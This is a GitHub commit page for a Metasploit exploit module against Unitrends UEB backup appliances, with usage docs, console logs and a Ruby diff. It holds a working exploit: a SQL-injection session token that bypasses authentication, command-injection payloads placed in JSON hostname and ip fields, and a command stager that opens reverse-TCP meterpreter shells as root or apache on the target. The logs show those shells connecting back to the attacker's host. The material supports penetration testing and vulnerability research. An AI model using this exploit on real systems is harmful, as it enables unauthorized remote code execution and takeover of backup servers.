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Land #10616, update Unitrends UEB module to support vulnerabilities i…

…n version 10
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busterb committed Oct 5, 2018
2 parents 4363bd8 + 3548031 commit e2f97c75a0747ae898f84993ed75893cd5f1f688

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## Vulnerable Application
This exploit leverages a sqli vulnerability for authentication bypass,
together with command injection for subsequent RCE.
This exploit has two targets:
1. Unitrends UEB 9 http api/storage RCE for root privileges
2. Unitrends UEB < 10.1.0 api/hosts RCE for user (apache) privileges
## Verification Steps
1. ```use exploit/linux/http/ueb_api_rce```
2. ```set lhost [IP]```
3. ```set rhost [IP]```
4. ```set target [#]```
5. ```exploit```
6. A meterpreter session should have been opened successfully
## Scenarios
### UEB 9.2 on CentOS 6.5 Using api/storage (target 0) root exploit
```
msf5 > use exploit/linux/http/ueb_api_rce
msf5 exploit(linux/http/ueb_api_rce) > set target 0
target => 0
msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2
lhost => 2.2.2.2
msf5 exploit(linux/http/ueb_api_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:443 - Sending requests to UEB...
[*] Command Stager progress - 19.76% done (164/830 bytes)
[*] Command Stager progress - 39.16% done (325/830 bytes)
[*] Command Stager progress - 56.87% done (472/830 bytes)
[*] Command Stager progress - 74.82% done (621/830 bytes)
[*] Command Stager progress - 92.77% done (770/830 bytes)
[*] Command Stager progress - 110.48% done (917/830 bytes)
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Command Stager progress - 126.63% done (1051/830 bytes)
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43600) at 2018-09-10 20:51:16 -0400
meterpreter > sysinfo
Computer : 1.1.1.1
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
### UEB 9.2 on CentOS 6.5 Using api/hosts (target 1) exploit
```
msf5 > use exploit/linux/http/ueb_api_rce
msf5 exploit(linux/http/ueb_api_rce) > set target 1
target => 1
msf5 exploit(linux/http/ueb_api_rce) > set rhost 1.1.1.1
rhost => 1.1.1.1
msf5 exploit(linux/http/ueb_api_rce) > set lhost 2.2.2.2
lhost => 2.2.2.2
msf5 exploit(linux/http/ueb_api_rce) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:443 - Sending requests to UEB...
[*] Command Stager progress - 19.76% done (164/830 bytes)
[*] Command Stager progress - 39.16% done (325/830 bytes)
[*] Command Stager progress - 56.87% done (472/830 bytes)
[*] Command Stager progress - 74.82% done (621/830 bytes)
[*] Command Stager progress - 92.77% done (770/830 bytes)
[*] Command Stager progress - 110.48% done (917/830 bytes)
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43515) at 2018-09-10 20:46:24 -0400
[*] Command Stager progress - 126.63% done (1051/830 bytes)
meterpreter > sysinfo
Computer : 1.1.1.1
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: uid=48, gid=48, euid=48, egid=48
meterpreter > shell
Process 25534 created.
Channel 1 created.
whoami
apache
```
@@ -11,18 +11,21 @@ class MetasploitModule < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Unitrends UEB 9 http api/storage remote root',
'Name' => 'Unitrends UEB http api remote code execution',
'Description' => %q{
It was discovered that the api/storage web interface in Unitrends Backup (UB)
before 10.0.0 has an issue in which one of its input parameters was not validated.
A remote attacker could use this flaw to bypass authentication and execute arbitrary
commands with root privilege on the target system.
UEB v9 runs the api under root privileges and api/storage is vulnerable.
UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
},
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave' # @iotennui
'Jared Arave', # @iotennui
'h00die'
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
@@ -31,14 +34,18 @@ def initialize(info = {})
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
['EDB', '44297'],
['CVE', '2017-12478'],
['CVE', '2018-6328']
],
'Targets' =>
[
[ 'UEB 9.*', { } ]
[ 'UEB 9.*', { 'Privileged' => true} ],
[ 'UEB < 10.1.0', { 'Privileged' => false} ]
],
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'SSL' => true
@@ -53,30 +60,56 @@ def initialize(info = {})
deregister_options('SRVHOST', 'SRVPORT')
end
def auth_token
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
Base64.strict_encode64(session) #b64 encode session token
end
def check
res = send_request_cgi!({
'method' => 'GET',
'uri' => '/api/systems/details',
'ctype' => 'application/json',
'headers' =>
{'AuthToken' => auth_token}
})
if res && res.code == 200
print_good("Good news, looks like a vulnerable version of UEB.")
return CheckCode::Appears
else
print_bad('Host does not appear to be vulnerable.')
end
return CheckCode::Safe
end
#substitue some charactes
def filter_bad_chars(cmd)
cmd.gsub!("\\", "\\\\\\")
cmd.gsub!("'", '\\"')
end
def execute_command(cmd, opts = {})
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
session = Base64.strict_encode64(session) #b64 encode session token
#substitue the cmd into the hostname parameter
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
parms << filter_bad_chars(cmd)
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
if target.name == 'UEB 9.*'
#substitue the cmd into the hostname parameter
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
parms << filter_bad_chars(cmd)
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
uri = '/api/storage'
elsif target.name == 'UEB < 10.1.0'
parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
parms << filter_bad_chars(cmd)
parms << %Q|`'"}|
uri = '/api/hosts'
end
res = send_request_cgi({
'uri' => '/api/storage',
'uri' => uri,
'method' => 'POST',
'ctype' => 'application/json',
'encode_params' => false,
'data' => parms,
'headers' =>
{'AuthToken' => session}
{'AuthToken' => auth_token}
})
if res && res.code != 500
@@ -87,7 +120,8 @@ def execute_command(cmd, opts = {})
end
def exploit
print_status("#{peer} - pwn'ng ueb 9....")
print_status("#{peer} - Sending requests to UEB...")
execute_cmdstager(:linemax => 120)
end
end

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